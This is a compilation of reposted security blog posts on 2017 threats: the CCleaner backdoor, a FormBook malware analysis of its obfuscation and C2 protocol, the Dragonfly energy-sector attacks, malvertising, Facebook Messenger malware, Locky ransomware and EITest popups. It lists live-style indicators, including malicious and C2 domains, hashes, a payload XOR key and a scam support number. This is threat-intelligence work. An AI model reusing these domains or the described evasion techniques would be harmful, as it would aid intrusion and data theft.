Security Alert: Cyber Criminals Slip Backdoor in CCleaner to Potentially Spread Malware

IT infrastructure is important for any company to better perform on the market. And every part of the system should provide maximum security and safeguard sensitive data. But unfortunate incidents happen, critical pieces of infrastructure are affected and produce business disruptions. Like this recent one with CCleaner, a popular PC cleaning software app.

The attack against CCleaner has been labeled as a “supply-chain attack” which involves exploiting vulnerabilities in the supply network used by a specific organization.

CCleaner, one of the most widely used PC cleaner and optimization applications created by Piriform and acquired in July 2017 by the antivirus company Avast, has been compromised by cyber criminals. Attackers managed to infiltrate two versions of CCleaner and slip backdoors into them, potentially impacting millions of devices and their users.

If you are using the older version of CCleaner app, 5.33 and above, you should upgrade to the 5.34 version immediately.

Here’s what we know so far

  • A compromised version of CCleaner was released on August 15 and “went undetected by any security company for four weeks” said Avast on an updated article on their blog
  • Morphisec researchers identified and prevented CCleaner.exe installations on August 20 and 21, at customers logs, and some of them shared their logs on September 11
  • The following day, on September 12, Morphisec started the investigation and notified Avast about its findings to identify the issue
  • Separately, Cisco also reported this problem to Avast on September 13
  • Avast first learned about the compromise on September 12, and, by the time the Cisco message was received (September 14), they already analyzed the threat, assessed its risk level and started investigating the root cause of the issue.
  • Avast worked with law enforcement in the US and the offending Control and Command server was taken down on September 15
  • During that time, the Cisco Talos team was also working on the issue, and registred the secondary DGA domains. With these two actions, “the server was taken down and the threat was effectively eliminated”
  • The Piriform and Avast teams provided a quick fix for CCleaner users by assuring that the currently shipping version (5.34) and previous versions didn’t contain the threat.
  • Then they released a fixed version 5.33.6163, identical to 5.33.6162 but with the backdoor removed
  • Avast notified the remaining users to upgrade to the latest version of the product as soon as possible
  • On September 18, Piriform made the official announcement on their blog about this security issue providing. “Older versions of CCleaner v5.33.6162 and CCleaner Cloud v1.07.3191 for only 32-bit Windows users had been compromised in a sophisticated manner”.
  • September 19: in the update, Avast said about this incident that they will keep updating it and “to take all possible measures to ensure that it never happens again.”

CCleaner is a popular application that helps users clean unwanted files on various programs by saving and optimizing the hard disk space for a better performance.

It’s also worth mentioning that, for almost one month, 2.27 million people used the affected version of CCleaner.

Since November 2016, CCleaner has had over 2 billion downloads worldwide, with a growth rate of 5 million desktop installations per week, so the potential impact that cyber criminals wanted to achieve was massive!

Source: Piriform

Given the proactive approach of the Avast team, the number of affected people went down to 730,000 users still using the affected version (5.33.6162).

The company is strongly encouraging users to download the latest version available, 5.34 or higher of the application to avoid being exposed to a potential attack.

What is a supply-chain attack

Definition: This type of attack initiated by cyber criminals aims to damage an organization by leveraging vulnerabilities in its supply network. Basically, hackers often manipulate with hardware or software during the manufacturing stage and implant rootkits or tie in hardware-based spying elements. The malware has been delivered through a backdoor, and still remaining undetected.

Such attacks are effective mainly because cyber criminals try to spread malware throughout the target organizations by leveraging an resource used internally.

The current publicly available information suggests that cyber criminals managed to access the company’s download servers used by CCleaner and deliver compromised versions of the app to unsuspecting users. No specific details about malware delivery through these impacted versions have surfaced so far.

When the trust relationship between a manufacturer/supplier and its customers is abused, it leads to confusion among all parties involved in the process. This was one of the consequences of this compromise, which is why we’re aiming to provide guidance and help you understand the situation better.

How to check if you’ve been affected

If you are one of the users who have installed CCleaner older versions, your device is at risk! Please read on.

The attack affects anyone who’s been downloading CCleaner version 5.33 or updated their app to this version between August 15 and September 12, when the new 5.4 version was released.

The first thing to do is to check for updates and see if you have the new, 5.4 version of CCleaner.


Should I still update my software? What if it’s infected?

It is worth saying that software patching is one those proactive things we can do to enhance our security online. And we still need to take all needed measures to update our software products. We highly recommend reading our roundup on what security experts have to say about the importance of software patching.

Despite observations that these kind of attack are on the rise, the reality is that they remain extremely rare when compared to other kinds of attacks users might encounter. This and other supply chain attacks should not deter users from updating their software. Like any security decision, this is a trade-off: for every attack that might take advantage of the supply chain, there are one hundred attacks that will take advantage of users not updating their software.

We quoted the Electronic Frontier Foundation which is a leading nonprofit organization defending civil liberties in the digital world. Their work is focused on ensuring that rights and freedoms are enhanced and protected as the use of technology quickly grows.

How to fend off supply-chain attacks if you’re a home user

  • Whenever possible, choose official and trusted software products to protect your data
  • If you are using CCleaner, see what version you’ve installed on your computer
  • If you’ve been using the affected version, do a scan for your system and check for a potential malware infection
  • Protect your data with at least two backups: one on an external hard drive and another one in the cloud. Also, check that your backups are intact and can be restored if you need to.
  • Use a proactive security solution to provide multi layered protection for your devices
  • Keep your system and all software up to date, because the latest security updates are especially important.
  • Knowledge is the best weapon you can use, so take action and learn about cyber security and how you can prevent cyber threats.
Does this incident will determine you to give up using CCleaner?

How you can protect your company from supply-chain attacks

In a business environment, the supply chain, whether concerning a manufacturer or a service provider, is a prime target for cyber attacks. Here’s what you need to do to maximize your protection against these attacks.

  • Supply chain security is every company’s responsibility and you need to take all necessary security measures to protect your customers
  • It is vital to have a crisis plan in place, but also to focus some of your resources in proactively manage cyber security risks, no matter the attack type they’re related to
  • Raise awareness among your employees of how such cyber attacks can occur.
  • Clearly define the regulatory compliance between you and your suppliers and ensure that all due diligence is covered
  • Monitoring your supply chain’s access to your company data and network
  • Make sure the supply chain vendor has clear security policies and procedures that you are aware of
  • Be proactive and implement a solid IT infrastructure in your company
  • If you’ve been using or downloaded CCleaner 5.33 or updated this version, immediately update to the latest version of CCleaner 5.4 on all your devices. Keeping software up to date can prevent from being infected and remove the backdoor code from their systems. If possible, restore the affected endpoints to the state before August 15.
  • All companies should have a backup strategy to safeguard their sensitive data.

No matter the type of attack, software parching should be a top priority for everyone
Click To Tweet

Should you still use CCleaner?

This recent incident is a reminder of the danger that are supply chain attacks. Cyber criminals took advantage of an essential piece of infrastructure to reach and impact a potentially large number of users.

Users did not expect such attacks to happen, as neither did Avast or Piriform. Still, the company reacted promptly and allocated time and resources to solve this incident to the best of their abilities.

Although no one wants to see this situation happen again, it could happen to any tech company, unfortunately. This is why situations like these prompt us to look at our own security habits, both as individual users and as employees and companies, and see how we can contribute to our overall safety.

Did you know about this security incident? What questions did it trigger for you? (Maybe we can help with some additional answers.)

Go to Source
Author: Ioana Rijnetu

The Formidable FormBook Form Grabber

More and more we’ve been seeing references to a malware family known as FormBook. Per its advertisements it is an infostealer that steals form data from various web browsers and other applications. It is also a keylogger and can take screenshots. The malware code is complicated, busy, and fairly obfuscated–there are no Windows API calls or obvious strings. This post will start to explore some of these obfuscations to get a better understanding of how FormBook works.


The main sample used for this analysis is available on the forum or on VirusTotal. It is version 2.9 of FormBook.

Two other samples are referenced as well:

Building Blocks

Let us start with three building blocks that will be used in later sections. First, most of FormBook’s data is stored encrypted in various locations–we’ll call these “encbufs”. Encbufs vary in size and are referenced with functions similar to this:

This is a shellcoding technique to determine which address a piece of code is running at. In this example, the function will return 0x3380FAC. The encbuf will start two bytes after the returned address—jumping over the pop and retn instructions.

Every encbuf starts with what looks like a normal x86 function prologue—push ebp; mov ebp, esp—but this is trickery. If you continue to disassemble this code, it quickly becomes gibberish:

The second and third building blocks are decryption functions—decrypt_func1 and decrypt_func2 respectively. Decrypt_func1 iterates through the encrypted data and depending on the byte value copies a certain amount of data from certain offsets of the encrypted data to the plaintext data. Note: the length value passed to this function is the length of the plaintext. The length of the encrypted data isn’t explicitly stated. The other decryption function, decrypt_func2, can be broken up into three rounds: subtractions, RC4, and then additions. We’ve implemented both of these functions in a Python class, which can be found on GitHub.

Windows API Calls

All calls to the Windows API are done at run time via function name hashing. The hashing algorithm is CRC32, though it is not the CRC32B version as implemented in Python’s binascii.crc32 function. We used the Crc32Bzip2 function from the Python module crccheck to generate the correct values. Function names are converted to lowercase before hashing.

For some of the API calls, the hashes are hardcoded into the code. An example would be 0xf5d02cd8, which resolves to ExitProcess. A listing of a bunch of Windows API function names and their corresponding hashes is available on GitHub.

For other calls, the API hash is fetched from an encbuf using a convoluted mechanism that can be separated into two steps. First, the encbuf containing the hashes is decrypted. This requires two other encbufs, the decryption functions from above, and some SHA1 hashing:

The second step is specifying an index into the decrypted encbuf and decrypting the hash:

A listing of indexes, hashes, and their corresponding functions is available on GitHub.

There are six additional API calls where the hashes are stored in a separate encbuf. We’ll point this encbuf out in another section, but they map to the following network related functions:

  • socket (0x46a9bfc5)
  • htons (0xe9cef9bb)
  • WSAStartup (0xa83c6f74)
  • send (0x6e3cd283)
  • connect (0x8c9cf4aa)
  • closesocket (0x4194fdf)


Strings are obfuscated in two ways. Some of them are built a DWORD at a time on the stack:

The rest are stored in an encbuf. The strings encbuf is first decrypted using decrypt_func1. The decrypted encbuf contains an array of variable length encrypted strings, which can be represented like:

struct {
    BYTE size;
    BYTE *encrypted_string[size];

A particular string is referenced by an index number and is decrypted using decrypt_func2:

A listing of the decrypted strings and their indexes are available on GitHub.

Command and Control (C2) URLs

The C2 URLs are stored in a “config” encbuf and the mechanism to get at them are convoluted and spread out over multiple functions. The first step of the mechanism is to figure out what process the injected FormBook code is running in. Depending on the injected process, a C2 index is saved and a 20-byte key is extracted from an encbuf and decrypted. Here is the snippet of code for when FormBook is running in explorer.exe:

Next, the config encbuf goes through a series of decryption steps:

Note: in the “Windows API Calls” section above we mentioned that six of the hashes were stored in a separate encbuf. In the screenshot above, we’ve made a comment where this encbuf comes from.

The “decrypt_s205” function contains more decryption:

At this point, the config encbuf is decrypted, but the C2s are still obfuscated. Note that up to six C2s can be referenced depending on which process FormBook is running in. The final step is one more round of decryption using the process specific key from the first step:

Iterating through the possible C2 offsets and keys for the analyzed sample we get:

Initially we thought there would be up to six different C2s encrypted with different keys, but it’s just the same C2. This was the case for all the other samples we spot-checked as well.

Decoy C2 URLs?

While reviewing a sandbox run of a FormBook 3.0 sample, we noticed phone home traffic to multiple C2s:

But when we extracted the C2s from its config encbuf we got a completely different C2:

Digging further into this, we noticed that starting in this version there were additional encrypted strings. These can be seen in this listing on GitHub. In particular starting at index 78 there are 64 seemly random domains (including the ones seen in our sandbox run). Tracing these strings in the code we see that 15 of these are randomly selected into an array and then one of them is randomly replaced with the C2 from the config encbuf.

At a quick glance there doesn’t seem to be any overlap of these domains from sample to sample. They all seem to be registered, but by different entities. Some of them show up in search engines with benign looking data, but most return HTTP “page not found”s. For now, our theory is that these are randomly chosen decoy C2s.

C2 Communications

FormBook uses HTTP—both GETs and POSTs—for C2. An example of the initial phone home looks like this:

The query parameter “id” contains data encrypted with the following process:

Unlike other parts of FormBook, the generation of the “comms_key” is easy—it boils down to the SHA1 digest of the C2. Using a Python snippet, the communications key for the analyzed sample can be generated like this:

The “transform_b64_chars” function does the following character transformation:

  • + -> –
  • / -> _
  • = -> .

The encrypted data from above looks like this once decrypted:

FBNG:DDE857B32.9:Microsoft Windows XP x86:QWRtaW4=

It is mostly “:” delimited and consists of the following fields:

  • Message type (FBNG)
  • Bot ID and bot version (missing “:”) (DDE857B3 and 2.9)
  • Windows version
  • Base64 encoded username

Based on the leaked C2 panel code (see this forum thread) there are a few types of phone home messages:

  • KNOCK_POST – the initial phone home as shown above
  • RESULT_POST – results of a task
  • IMAGE_POST – screenshot
  • KEY_POST – key logger logs
  • Form logger logs

An example of an IMAGE_POST from another sample (version 2.6) looks like this:

There are three POST parameters:

  • dat – encrypted data
  • un – base64 encoded username
  • br – web browser identifier

The encrypted data is decrypted as above (using www[.]wowtracking[.]info/list/hx47/ as the C2 key component) and the first 100 decrypted bytes look like this:

Here we can see:

  • Message type (FBIMG)
  • Bot ID (DDE857B3)
  • And the start of a JPEG file

The JPEG file shows a screenshot of one of ASERT’s finest sandboxen:


FormBook is an infostealing malware that we’ve been seeing more and more of recently. This post has been an analysis of some of the obfuscations used in the FormBook malware to start getting an understanding of how it works. Based on samples in our malware zoo and search engine results, it seems to have gotten its start sometime in early 2016. With a cheap price tag (a few hundred dollars), general availability (for sale on Hack Forums), and a supposed release of a “cracked builder” there are quite a few FormBook samples and campaigns in the wild and we only expect to see more.

Go to Source
Author: Dennis Schwarz

Dragonfly: Western energy sector targeted by sophisticated attack group

The energy sector in Europe and North America is being targeted by a new wave of cyber attacks that could provide attackers with the means to severely disrupt affected operations. The group behind these attacks is known as Dragonfly. The group has been in operation since at least 2011 but has re-emerged over the past two years from a quiet period following exposure by Symantec and a number of other researchers in 2014. This “Dragonfly 2.0” campaign, which appears to have begun in late 2015, shares tactics and tools used in earlier campaigns by the group.

The energy sector has become an area of increased interest to cyber attackers over the past two years. Most notably, disruptions to Ukraine’s power system in 2015 and 2016 were attributed to a cyber attack and led to power outages affecting hundreds of thousands of people. In recent months, there have also been media reports of attempted attacks on the electricity grids in some European countries, as well as reports of companies that manage nuclear facilities in the U.S. being compromised by hackers.

The Dragonfly group appears to be interested in both learning how energy facilities operate and also gaining access to operational systems themselves, to the extent that the group now potentially has the ability to sabotage or gain control of these systems should it decide to do so. Symantec customers are protected against the activities of the Dragonfly group.

Figure 1. An outline of the Dragonfly group’s activities in its most recent campaign

​Dragonfly 2.0

Symantec has evidence indicating that the Dragonfly 2.0 campaign has been underway since at least December 2015 and has identified a distinct increase in activity in 2017.

Symantec has strong indications of attacker activity in organizations in the U.S., Turkey, and Switzerland, with traces of activity in organizations outside of these countries. The U.S. and Turkey were also among the countries targeted by Dragonfly in its earlier campaign, though the focus on organizations in Turkey does appear to have increased dramatically in this more recent campaign.

As it did in its prior campaign between 2011 and 2014, Dragonfly 2.0 uses a variety of infection vectors in an effort to gain access to a victim’s network, including malicious emails, watering hole attacks, and Trojanized software.

The earliest activity identified by Symantec in this renewed campaign was a malicious email campaign that sent emails disguised as an invitation to a New Year’s Eve party to targets in the energy sector in December 2015.

The group conducted further targeted malicious email campaigns during 2016 and into 2017. The emails contained very specific content related to the energy sector, as well as some related to general business concerns. Once opened, the attached malicious document would attempt to leak victims’ network credentials to a server outside of the targeted organization.

In July, Cisco blogged about email-based attacks targeting the energy sector using a toolkit called Phishery. Some of the emails sent in 2017 that were observed by Symantec were also using the Phishery toolkit (Trojan.Phisherly), to steal victims’ credentials via a template injection attack. This toolkit became generally available on GitHub in late 2016,

As well as sending malicious emails, the attackers also used watering hole attacks to harvest network credentials, by compromising websites that were likely to be visited by those involved in the energy sector.

The stolen credentials were then used in follow-up attacks against the target organizations. In one instance, after a victim visited one of the compromised servers, Backdoor.Goodor was installed on their machine via PowerShell 11 days later. Backdoor.Goodor provides the attackers with remote access to the victim’s machine.

In 2014, Symantec observed the Dragonfly group compromise legitimate software in order to deliver malware to victims, a practice also employed in the earlier 2011 campaigns. In the 2016 and 2017 campaigns the group is using the evasion framework Shellter in order to develop Trojanized applications. In particular, Backdoor.Dorshel was delivered as a trojanized version of standard Windows applications.

Symantec also has evidence to suggest that files masquerading as Flash updates may be used to install malicious backdoors onto target networks—perhaps by using social engineering to convince a victim they needed to download an update for their Flash player. Shortly after visiting specific URLs, a file named “install_flash_player.exe” was seen on victim computers, followed shortly by the Trojan.Karagany.B backdoor.

Typically, the attackers will install one or two backdoors onto victim computers to give them remote access and allow them to install additional tools if necessary. Goodor, Karagany.B, and Dorshel are examples of backdoors used, along with Trojan.Heriplor.

Western energy sector at risk from ongoing cyber attacks, with potential for sabotage #dragonfly Click to Tweet

Strong links with earlier campaigns

There are a number of indicators linking recent activity with earlier Dragonfly campaigns. In particular, the Heriplor and Karagany Trojans used in Dragonfly 2.0 were both also used in the earlier Dragonfly campaigns between 2011 and 2014.

Trojan.Heriplor is a backdoor that appears to be exclusively used by Dragonfly, and is one of the strongest indications that the group that targeted the western energy sector between 2011 and 2014 is the same group that is behind the more recent attacks. This custom malware is not available on the black market, and has not been observed being used by any other known attack groups. It has only ever been seen being used in attacks against targets in the energy sector.

Trojan.Karagany.B is an evolution of Trojan.Karagany, which was previously used by Dragonfly, and there are similarities in the commands, encryption, and code routines used by the two Trojans. Trojan.Karagny.B doesn’t appear to be widely available, and has been consistently observed being used in attacks against the energy sector. However, the earlier Trojan.Karagany was leaked on underground markets, so its use by Dragonfly is not necessarily exclusive.

Feature Dragonfly (2013-2014) Dragonfly 2.0 (2015-2017) Link strength
Backdoor.Oldrea Yes No None
Trojan.Heriplor (Oldrea stage II) Yes Yes Strong
Trojan.Karagany Yes Yes (Trojan.Karagany.B) Medium-Strong
Trojan.Listrix (Karagany stage II) Yes Yes Medium-Strong
“Western” energy sector targeted Yes Yes Medium
Strategic website compromises Yes Yes Weak
Phishing emails Yes Yes Weak
Trojanized applications Yes Yes Weak

Figure 2. Links between current and earlier Dragonfly cyber attack campaigns

Potential for sabotage

Sabotage attacks are typically preceded by an intelligence-gathering phase where attackers collect information about target networks and systems and acquire credentials that will be used in later campaigns. The most notable examples of this are Stuxnet and Shamoon, where previously stolen credentials were subsequently used to administer their destructive payloads.

The original Dragonfly campaigns now appear to have been a more exploratory phase where the attackers were simply trying to gain access to the networks of targeted organizations. The Dragonfly 2.0 campaigns show how the attackers may be entering into a new phase, with recent campaigns potentially providing them with access to operational systems, access that could be used for more disruptive purposes in future.

The most concerning evidence of this is in their use of screen captures. In one particular instance the attackers used a clear format for naming the screen capture files, [machine description and location].[organization name]. The string “cntrl” (control) is used in many of the machine descriptions, possibly indicating that these machines have access to operational systems.

Numerous organizations breached in six-year campaign against the energy sector #dragonfly Click to Tweet

Clues or false flags?

While Symantec cannot definitively determine Dragonfly’s origins, this is clearly an accomplished attack group. It is capable of compromising targeted organizations through a variety of methods; can steal credentials to traverse targeted networks; and has a range of malware tools available to it, some of which appear to have been custom developed. Dragonfly is a highly focused group, carrying out targeted attacks on energy sector targets since at least 2011, with a renewed ramping up of activity observed in the last year.

Some of the group’s activity appears to be aimed at making it more difficult to determine who precisely is behind it:

  • The attackers used more generally available malware and “living off the land” tools, such as administration tools like PowerShell, PsExec, and Bitsadmin, which may be part of a strategy to make attribution more difficult. The Phishery toolkit became available on Github in 2016, and a tool used by the group—Screenutil—also appears to use some code from CodeProject.
  • The attackers also did not use any zero days. As with the group’s use of publicly available tools, this could be an attempt to deliberately thwart attribution, or it could indicate a lack of resources.
  • Some code strings in the malware were in Russian. However, some were also in French, which indicates that one of these languages may be a false flag.

Conflicting evidence and what appear to be attempts at misattribution make it difficult to definitively state where this attack group is based or who is behind it.

What is clear is that Dragonfly is a highly experienced threat actor, capable of compromising numerous organizations, stealing information, and gaining access to key systems. What it plans to do with all this intelligence has yet to become clear, but its capabilities do extend to materially disrupting targeted organizations should it choose to do so.


Symantec customers are protected against Dragonfly activity, Symantec has also made efforts to notify identified targets of recent Dragonfly activity.

Symantec has the following specific detections in place for the threats called out in this blog:

Symantec has also developed a list of Indicators of Compromise to assist in identifying Dragonfly activity:

Family MD5 Command & Control
Backdoor.Dorshel b3b5d67f5bbf5a043f5bf5d079dbcb56 hxxp://
Trojan.Karagany.B 1560f68403c5a41e96b28d3f882de7f1 hxxp://
Trojan.Heriplor e02603178c8c47d198f7d34bcf2d68b8
Trojan.Listrix da9d8c78efe0c6c8be70e6b857400fb1
Hacktool.Credrix a4cf567f27f3b2f8b73ae15e2e487f00
Backdoor.Goodor 765fcd7588b1d94008975c4627c8feb6
Trojan.Phisherly 141e78d16456a072c9697454fc6d5f58
Screenutil db07e1740152e09610ea826655d27e8d

Customers of the DeepSight Intelligence Managed Adversary and Threat Intelligence (MATI) service have previously received reporting on the Dragonfly 2.0 group, which included methods of detecting and thwarting the activities of this adversary.

Go to Source
Author: Symantec Security Response

Expired domain names and malvertising

In Q1 and Q2 of 2017, we noticed a sharp decline in drive-by downloads coming from compromised websites. The campaigns of the past are either gone (Pseudo Darkleech) or have changed focus (EITest using social engineering techniques).

Malvertising – which has remained steady and is currently the main driving force behind some of the most common malware and scam distribution operations- not only stems from various publishers but also from ‘abandoned’ websites. Those related domains once served a legitimate purpose but were never renewed by their owners and fell into the hands of actors looking to make a quick profit using questionable practices.

In this post, we take a look at how malicious redirections from expired domains work and what kind of traffic they lead to.

The life, death, and resurrection of a domain name

Most issues when it comes to web security don’t usually come from the platforms themselves but from the people that run them or from properties that have simply been relinquished. The folks over at Sucuri have written about this extensively and in a recent post, they showed how expired domains and outdated plugins in popular CMS were a deadly mix, resulting in malicious redirects.

Here is an example of a website, oezelotel[.]com first registered to on 03/10/2014, that once was advertising various hotels, was wiped in 2016, and eventually got parked as its domain name registration was never renewed.

Figure 1: Evolution of a website over time and its eventual expired domain name

New owner, clear motive

A historical whois on the parked domain courtesy of Hyas’ Comox shows that on June 4, 2017, the domain name changed hands from its original owner to This is also when the site changed hosting (moving from a Germany based server to a US one) and began exhibiting its malicious behavior.

A cursory review of some other properties owned by the same registrant indicates a penchant for going after expired domains and monetizing them via dubious ad networks. DomainTools has over 23 K records belonging to that same email address.

Malvertising roulette

You might think a non-existent site is harmless but this couldn’t be further from the truth. Abandoned or forgotten domains are often registered and ‘parked’ to generate low-quality traffic (i.e. spammy links) as described in yet another blog post from Sucuri, and it is a real – lucrative – business model.

We observed different types of traffic, ranging from bogus surveys to more nefarious activity such as drive-by attacks and tech support scams, based on a visitor’s user agent. Note that the following examples did not require users to click on any link, the simple fact of visiting the site triggered an automatic redirection.

RIG EK Flow:

Figure 2: RIG exploit kit infection chain via the Fobos campaign that delivers the Bunitu Trojan.

oezelotel[.]com (parked site) -> xml1.limeclick[.]com

xml1.limeclick[.]com -> bingfreegames3[.]info
 212kjhguihkhbvd[.]cf -> (RIG EK landing) 

Tech Support Scam (TSS) flow:

Figure 3: Redirection to tech support scam via blobar[.org]

oezelotel[.]com (parked site) -> bougainvillaeabuffeting[.]com

bougainvillaeabuffeting[.]com -> blobar[.]org
document.write('');blobar[.]org -> www.alrtsyscalling[.]cf (TSS landing) Location: https://www.alrtsyscalling[.]cf/call-microsoft-support-at-1-855-633-1666

Figure 4: Browser locker serving a tech support scam page (IP address is hard coded in picture)

Traffic and user targeting

These days it seems irrelevant how malicious actors get their leads, so long as they are genuine users they can expose to malware or scams. An advantage of using ad networks and malvertising is that a lot of the filtering can be handled throughout the distribution chain, with remarkable efficiency, compared to server side checks on compromised sites.

Parked domains are one of many scenarios of hijacking traffic and monetizing it. While those practices raise eyebrows, are they actually illegal? Is it something that domain name registrars should enforce or ban? Those are interesting questions worth debating.

Malwarebytes blocks a lot of domains associated with malvertising as well as drive-by download attempts. Because we are witnessing more and more social engineering attacks, we highly recommend you spread the word about one of the most common scams today, the tech support scam.

The post Expired domain names and malvertising appeared first on Malwarebytes Labs.

Go to Source
Author: Jérôme Segura

Bulk messaging malware in Facebook Messenger

Some time ago, an antivirus expert from our Global Research and Analysis Team, David Jacoby, discovered multiplatform malware that was distributed through Facebook Messenger. A few years ago, similar outbreaks were occurring quite often, but none have appeared lately; Facebook was doing a lot to prevent similar attacks.

First a preliminary report was published. At that time, Jacoby still had not had enough time to research many details about how the malware operated, but now he has, and we are ready to share them. From a user’s perspective, here’s how the infection progressed.

  • The user received a message in Facebook Messenger from a friend. The message contained the word “Video,” the name of the sender, a random smiley, and a short link. It might look like this, for example:

  • The link redirected to Google Drive, where the user saw something resembling a video player with a picture of the original sender in the background and what looked like a Play button.
  • If the victim attempted to play back the “video” in Google Chrome, they were redirected to a page that looked much like a YouTube page and offered to install an extension for Chrome.
  • If the user agreed to the installation, then the extension began to send out malicious links to their friends — and everything followed the same algorithm for each of them over again.
  • Users of other browsers were persistently reminded to update their Adobe Flash Player instead of being offered the extension. The file they downloaded turned out to be adware — essentially, malefactors used advertisements to earn their money.

Jacoby, along with Frans Rosen, a researcher with whom he has been working on a project called “Hunting bugs for humanity,” have analyzed this malicious campaign and worked out how it operates.

The page that users were redirected to after following the link in Facebook Messenger was basically a PDF file that had been published to Google Drive. It opened as a preview. The file had a picture from a user’s Facebook page — the user whose identity was used to spread the malware — an icon for playing back the video shown over the picture, and the link that the victim opened by trying to click the playback button.

Clicking the link led friends of the victim to this page.

The link caused several redirections, landing the user on one of several websites. Victims using browsers other than Google Chrome ended up on a website offering to download adware masked as an update for Adobe Flash Player.

Browsers other than Google Chrome offered to download adware disguised as Adobe Flash Player.

In the case of Chrome, that was just the beginning: If the victim agreed to install the extension offered on the landing page, it began monitoring what websites the user opened. As soon as the victim navigated to Facebook, the extension stole their login credentials and the access token and sent them to the malefactors’ server.

A fake YouTube page offering to install Google Chrome extensions.

The crooks had found an interesting bug in Facebook. As it turned out, the unsecure Facebook Query Language (FQL), which was disabled a year ago, was not completely wiped out; it was blocked for applications, but with a few exceptions. For example, Facebook Pages Manager, a macOS application, still uses FQL. Thus, to gain access to the “locked out” feature, malware simply has to act on behalf of the application.

By using the stolen credentials and accessing the obsolete Facebook feature, the crooks could request that the social network send them the contact list of the victim, cull those who were not currently online, and randomly select 50 new victims from the remainder. Then, those users were bulk-messaged with a new link to Google Drive with a PDF file preview generated with the picture of the person on whose behalf the new messaging wave commenced. All in all, a vicious cycle.

It is worth noting that among other things, the malicious script “liked” a specific Facebook page, apparently to collect statistics for the infection. In the course of the attack, Jacoby and Rosen observed, the malefactors changed several of the specific pages, possibly as Facebook closed the previous ones. Judging by the number of “likes,” there were tens of thousands of victims.

One of the pages that infected users “liked.”

Their analysis of the code revealed that the malefactors were initially planning to use localized messages but then changed their minds and resorted to the short and simple “Video.” The localization function‘s code showed that the crooks were primarily interested in Facebook users from several European countries such as Turkey, Italy, Germany, Portugal, France (also, francophone Canada), Poland, Greece, Sweden, and all countries with English-speaking users.

The mutual effort of several companies has put an end to the infection’s spread for now. Nonetheless, this story is a great reminder that extensions for browsers are not as harmless as they may seem. To stay safe and not fall victim to similar malicious campaigns, avoid installing browser extensions without absolute confidence that they are safe, that they will not steal your data, and that they won’t track your online activities.

Also, clicking every link, even links that seem to be from someone you know, is out of the question. It is always a good idea to make sure that it is really your friend on the other end of the line, not some criminal who took control of your friend’s account.

Go to Source
Author: Alex Drozhzhin

Security Alert: Locky Ransomware Changes Tactics, Spoofs Dropbox

Locky ransomware has been on a wild distribution spree in the past weeks, trying new ways of achieving even higher infections rates. These experiments focus on changing tactics mid-game and experimenting with new extensions or new baits to get unsuspecting users to click.

In their latest spam run, the cyber attackers behind the most notorious ransomware strain currently on the market have decided to resort to spoofing Dropbox.

Here is what the deceptive email looks like as opposed to the legitimate one:

locky attack dropbox spoofing example

dropbox legitimate email verification example

As you can see, the two are fairly similar, so it would be quite difficult for the untrained user to spot the suspicious elements. This is why we believe this campaign can have a considerable impact on potential victims.

Add this to the fact that it’s sent on a Friday, when people are usually tired and less attentive and cyber criminals have a recipe for success.

is a compromise attempt during which an unauthorized individual tries to gain access to an information system by impersonating an authorized user.

Read more details in our Cyber Security Glossary.

If a potential victim misses or ignores the warning signs that the email shouldn’t be trusted and clicks, the link on “verify your email” will redirect the user’s traffic to a batch of compromised web pages.

Here is a selection of these pages, sanitized for your protection:

http: // Dar-alataa [.] com / dropbox.html
http: // melting-paw [.] com / dropbox.html
http: // flooringforyou [.] co [.] uk / dropbox.html
http: // Fachwerkhaus [.] ws / dropbox.html
http: // binarycousins ​​[.] com / dropbox.html
http: // bayimpex [.] BE / dropbox.html
http: // arthur dennis williams [.] com / dropbox.html
http: // jakuboweb [.] com / dropbox.html
http: // busad [.] com / dropbox.html
http: // ambrogiauto [.] com / dropbox.html

These pages and the rest of the ones included in the batch include malicious Javascript code that connects to the following domain:

http: // dippydado [.] net / json.php

This domain, in turn, directs traffic to:

http: // geocean [.] co [.] ID / 657erikftgvb
http: // gtdban [.] net / p66 / 657erikftgvb
http: // givensplace [.] com / 657erikftgvb

Would you be able to tell this is a fake email?

The payload is XORd with the key “84fb8955ed14d24e14534c24c76810db” in order to enable the strain to bypass different gateway scanners.

The inattentive user will end up with his/her data encrypted, not only locally, but also on other drives connected in the same network. The extension used is .lukitus, which first emerged last month (August 2017).

Current Command and Control servers include:

http: // fqtsqwhqdcjsn [.] pw / imageload.cgi
http: // btvcvfekgnnct [.] biz / imageload.cgi
http: // meklyxcoteyewsx [.] ru / imageload.cgi
http: // asonqpakatx [.] work / imageload.cgi

Another issue with this campaign is the fact that it achieves a very low detection rate: only 3/58 on VirusTotal.

virustotal detection rate - September 1 2017

This week has not been kind to Internet users, as Locky campaigns piled up and a historical data dump of over 700 million email addresses (and their passwords) made its way into the hands of cyber criminals.

Once again, we can’t help but suggest you take a few minutes to learn how ransomware works and what you can do to stay safe. It doesn’t that many resources (time and money-wise) to keep ransomware away, but those little steps can make the difference between a clean, safe device and a big headache.

This is especially true since cyber security researchers have yet to crack Locky and find a free decryption key for it, as they did for these other ransomware strains.

Keep safe!

*This article features cyber intelligence provided by CSIS Security Group researchers.

Go to Source
Author: Andra Zaharia

EITest: HoeflerText Popups Targeting Google Chrome Users Now Push RAT Malware

The attackers behind the EITest campaign have occasionally implemented a social engineering scheme using fake HoeflerText popups to distribute malware targeting users of Google’s Chrome browser. In recent months, the malware used in the EITest campaign has been ransomware such as Spora and Mole. However, by late August 2017, this campaign began pushing a different type of malware.  Recent samples are shown to infect Windows hosts with the NetSupport Manager remote access tool (RAT). This is significant, because it indicates a potential shift in the motives of this adversary. Today’s blog reviews recent activity from these EITest HoeflerText popups on August 30, 2017 to discover more about this recent change.

Figure 1 below shows what victims see when they view a compromised website, and Figure 2 shows the page if the user clicks the “Update” button. Chrome users should be suspicious of any pop-ups that match these images.


Figure 1: Fake HoeflerText popup after viewing a compromised site with the Chrome browser.


Figure 2: Clicking the “update” button sent us Font_Chrome.exe.


As early as December 2016, the EITest campaign began using HoeflerText popups to distribute malware. Since late January 2017, we have only seen ransomware from these popups.  The method has occasionally disappeared for weeks at a time. By July 2017, the HoeflerText popups delivered Mole ransomware under the file name Font_Chrome.exe. These popups stopped in late July. But by late August 2017, they reappeared, and we saw a different type malware sent under the file name Font_Chrome.exe. Recent examples reviewed by Unit 42 are not ransomware; they are file downloaders. Figure 3 below shows the hits on Font_Chrome.exe in AutoFocus from July 16, 2017 through August 25, 2017.


Figure 3: Recent activity from fake HoeflerText popups in Google Chrome sending malware.

Recent Activity

